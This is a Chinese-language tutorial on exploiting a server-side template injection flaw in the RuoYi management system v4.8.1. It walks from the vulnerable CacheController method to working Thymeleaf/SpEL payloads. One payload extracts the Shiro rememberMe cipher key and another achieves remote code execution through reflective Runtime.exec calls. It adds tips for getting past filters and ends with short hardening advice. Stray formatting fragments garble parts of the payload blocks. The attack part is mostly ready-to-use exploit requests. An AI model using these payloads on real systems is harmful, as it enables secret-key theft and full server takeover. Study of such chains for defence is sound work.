若依管理系统4.8.1版本SSTI漏洞分析与利用教学
漏洞概述
若依管理系统(RuoYi)v4.8.1版本存在服务器端模板注入(SSTI)漏洞,攻击者可通过精心构造的请求绕过安全限制,最终实现远程代码执行(RCE)。该漏洞结合Shiro框架的密钥泄露,构成了完整的攻击链。
环境搭建
所需资源
- 源码地址:https://gitee.com/y_project/RuoYi/tree/v4.8.1
- 数据库:MySQL
- 开发工具:IDEA
- 数据库文件:ry_20250416.sql与quartz.sql
搭建步骤
- 创建名为
ry的数据库 - 导入提供的SQL文件到数据库
- 修改配置文件
application-druid.yml中的数据库账号密码 - 在IDEA中配置并启动项目
漏洞分析
漏洞位置
com/ruoyi/web/controller/monitor/CacheController.java中的getCacheNames方法:
@RequiresPermissions("monitor:cache:view")
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}
漏洞原理
- 方法直接将用户输入的
fragment参数拼接到Thymeleaf模板路径中 - 使用Thymeleaf片段语法
::进行拼接,形成完整模板路径 - 攻击者可通过特殊构造的表达式绕过安全限制
攻击流程
第一阶段:SSTI绕过
基础POC结构
POST /monitor/cache/getNames HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=xxx; rememberMe=xxx
X-CSRF-Token: xxx
fragment=__|
$$
{表达式}|__::.x
表达式解析
__|...|__:Thymeleaf预处理块- `
\[{...}`:预处理中的表达式,在模板解析前执行 - `::.x`:片段选择器后缀 ### 第二阶段:Shiro密钥获取 #### 密钥提取POC ``` fragment=__| \]
{#response.getWriter().print(''.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x
#### 技术要点
1. 通过反射调用Base64编码器
2. 访问Shiro的`securityManager.rememberMeManager.cipherKey`获取密钥
3. 使用Base64编码后通过响应输出
### 第三阶段:RCE实现
#### 方法调用链构建
1. **基础类加载**:
@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime')
2. **方法过滤与选择**:
getMethods.?[name=='getRuntime'][0]
- `?[name=='getRuntime']`:SpEL表达式过滤,选择名称为getRuntime的方法
- `[0]`:选择过滤后的第一个方法
3. **方法调用**:
invoke(null)
- 传递null参数调用静态方法
#### 完整RCE POC
fragment=__|
\[{#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x ``` #### 关键技术点 - **反射调用链**:通过类加载器→Runtime类→getRuntime方法→exec方法 - **参数传递**:`invoke`方法需要传递方法所属实例和参数 - **静态方法调用**:使用`invoke(null)`调用静态方法 - **方法过滤语法**:SpEL的`?[condition]`条件过滤语法 ## 调试技巧 ### 分步测试方法 1. 先测试基础类加载是否成功 2. 逐步添加方法调用,观察响应 3. 遇到错误时删除部分调用进行定位 ### 常见问题解决 - **直接调用被拦截**:使用反射方式绕过安全机制 - **方法调用报错**:检查括号使用和参数传递 - **表达式语法错误**:确保SpEL语法正确性 ## 防护建议 1. **输入验证**:对用户输入的fragment参数进行严格过滤 2. **权限控制**:确保接口有适当的权限验证 3. **表达式过滤**:限制模板表达式的执行能力 4. **框架升级**:及时更新Thymeleaf和Shiro版本 ## 总结 该漏洞利用链完整展示了从SSTI到RCE的攻击过程,通过巧妙的表达式构造和反射调用,成功绕过了多层安全防护。安全开发人员应重视用户输入的处理和框架安全配置,防止此类漏洞的产生。\]